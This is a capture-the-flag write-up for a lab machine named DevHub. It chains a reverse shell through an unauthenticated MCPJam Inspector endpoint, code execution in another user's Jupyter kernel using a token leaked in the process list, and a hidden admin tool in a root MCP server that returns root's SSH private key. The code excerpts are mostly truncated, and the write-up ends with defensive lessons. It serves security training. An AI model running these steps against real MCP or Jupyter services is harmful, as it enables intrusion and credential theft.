DevHub
Difficulty: Medium | OS: Linux
Introduction
DevHub runs a small stack of AI dev tooling: an MCP inspector, a JupyterLab instance and an internal operations MCP server. None of them is hard to exploit on its own. Each one simply trusts whoever can reach it, and chaining them gives root:
- CVE-2026-23744, an unauthenticated command execution bug in MCPJam Inspector (
<= 1.4.2), gives a shell asmcp-dev. - A JupyterLab token leaked in the process list lets me run code in a kernel owned by
analyst, through a WebSocket I had to write by hand. - A root-owned OPSMCP server with a hardcoded API key and a hidden admin tool hands over root’s SSH private key.
1. Reconnaissance
I started with a full TCP port scan, then ran default scripts and version detection on whatever was open:
1 | ┌──(kali㉿kali)-[~] |
1 | ┌──(kali㉿kali)-[~] |
- Port 22 (SSH): OpenSSH 8.9p1
- Port 80 (HTTP): nginx, titled DevHub - Internal Development Platform
- Port 6274: nmap could not name the service, but the fingerprint gives it away: it serves a React app called MCPJam Inspector.
Port 6274 was the one to look at. A debugging tool reachable from outside on a non-standard port looks like something that was never meant to leave localhost.
2. Foothold — CVE-2026-23744 (MCPJam Inspector RCE)
What is CVE-2026-23744?
MCPJam Inspector is a debugging UI for Model Context Protocol (MCP) servers. To test a server you give it a command to launch, which is both the feature and the bug:
- By default the Inspector listens on
0.0.0.0instead of127.0.0.1. - The
/api/mcp/connectendpoint has no authentication. - The
commandandargsfields of the JSON body start a real OS process, with no sanitisation.
So anyone who can reach port 6274 can ask the server to “connect to an MCP server” whose command is a reverse shell.
Exploit
I wrote a small script that base64-encodes the reverse shell, so there are no quoting problems inside the JSON:
1 | import requests |
A timeout is the expected result here, because the request never returns once the process it spawned becomes my shell. A single curl does the same thing:
1 | curl -s http://devhub.htb:6274/api/mcp/connect \ |
The listener caught a shell as mcp-dev.
3. Lateral Movement — Hijacking a Jupyter Kernel
Enumeration
As mcp-dev I went through the process list and read every argument:
1 | mcp-dev@devhub:~$ ps aux | grep analyst |
Three things stand out:
- JupyterLab runs as
analyston127.0.0.1:8888, and its auth token is right there in the command line. Any local user can read it fromps. - Several
ipykernel_launcherprocesses are already running asanalyst. Anything sent to one of those kernels executes asanalyst. - A root-owned process,
/opt/opsmcp/server.py. I kept that for later.
Why the REST API is not enough
Jupyter splits its API in two:
1 | Client |
The token is enough for the REST API, but code only runs through the WebSocket on /api/kernels/{id}/channels. The box had no websocat, no wscat and no Python websocket-client, so I wrote the protocol myself.
WebSocket by hand
A WebSocket is an HTTP upgrade request followed by framed messages over a plain TCP socket, and Python’s standard socket module covers all of it:
- Handshake: send a
GETto the kernel’s/channelsURL withUpgrade: websocketand the token inAuthorization. A101 Switching Protocolsanswer means the socket now speaks WebSocket. - Framing: client frames must be masked. Each payload byte is XORed with a random 4-byte key, and
0x81marks a final text frame. - Jupyter messaging: send an
execute_requestJSON message on theshellchannel. The kernel runs the code and reportsbusythenidleoniopub.
For the payload I planted my SSH public key in analyst‘s authorized_keys, which gives a stable shell instead of another reverse shell:
1 | import socket, base64, os, json, struct, uuid |
(The full script also reads the reply frames and prints the kernel’s output until it goes idle. I trimmed that part here.)
1 | mcp-dev@devhub:~$ python3 /tmp/kernel_connect.py |
Then a normal key-based login:
1 | ┌──(kali㉿kali)-[~] |
In practice, a Jupyter token is a login for whichever user owns the kernels. Nothing sits between the API and code execution except that token.
4. Privilege Escalation — OPSMCP Hidden Admin Tool
Back on the root-owned process from earlier. I could not start my own copy, since port 5000 was already taken:
1 | analyst@devhub:~$ /home/analyst/jupyter-env/bin/python3 /opt/opsmcp/server.py |
But the source was world-readable:
1 | analyst@devhub:~$ cat /opt/opsmcp/server.py |
1 | # API Key for authentication |
Two mistakes in one file:
- The API key is hardcoded in a file any local user can read.
- The “hidden” tools are only hidden from
/tools/list./tools/callchecksALL_TOOLS, so anyone with the key can call them.
The ssh_keys target of ops._admin_dump reads /root/.ssh/id_rsa and returns it, and since the server runs as root, the read succeeds:
1 | if target == "ssh_keys": |
I called it with the key from the source:
1 | analyst@devhub:~$ curl -s -X POST http://127.0.0.1:5000/tools/call \ |
The key comes back as JSON with \n escapes. I unescaped it into a file, locked down the permissions and logged in as root:
1 | ┌──(kali㉿kali)-[~] |
The same tool also has passwords and tokens targets that dump more credentials in plain text, but I only needed the root key.
Attack Chain
1 | nmap → MCPJam Inspector exposed on :6274 |
Summary
| Stage | Technique | CVE |
|---|---|---|
| Foothold | Unauthenticated command execution in MCPJam Inspector /api/mcp/connect → reverse shell as mcp-dev |
CVE-2026-23744 |
| Lateral Movement | Jupyter token leaked in ps aux → hand-built WebSocket → code execution in analyst‘s kernel → SSH key drop |
— |
| Privilege Escalation | Hardcoded API key + hidden ops._admin_dump tool in a root-owned service → root SSH key |
— |
Key Takeaways
- Dev tools are attack surface. MCPJam Inspector is meant to run on localhost. Listening on
0.0.0.0with no authentication turned a debugging feature into remote code execution. - Keep secrets out of command-line arguments. The Jupyter token sat in
ps auxfor every local user to read. A config file with tight permissions avoids that. 127.0.0.1is not a security boundary. Once any foothold exists, every internal port is reachable. Runss -tlnpand read the process list on every box.- Understand the protocol, not only the tool. With no WebSocket client available, a plain TCP socket plus the handshake and framing rules was enough.
- Check who owns each process. Jupyter, its kernels and OPSMCP all ran as a different user than my shell, and that is what made each one useful.
- A hidden endpoint is still an endpoint. An admin function left out of the tool listing but still callable is just undocumented. Authorization has to be enforced on the call itself, and a root-owned service should not return
/root/.ssh/id_rsato an API client. - Don’t hardcode credentials in source files other users can read. Grep for
password,secret,tokenandkeyas soon as you can read any application code.
Have a nice day, and see you in the next writeup!
Any feedback in the comments section is very appreciated. 🙏







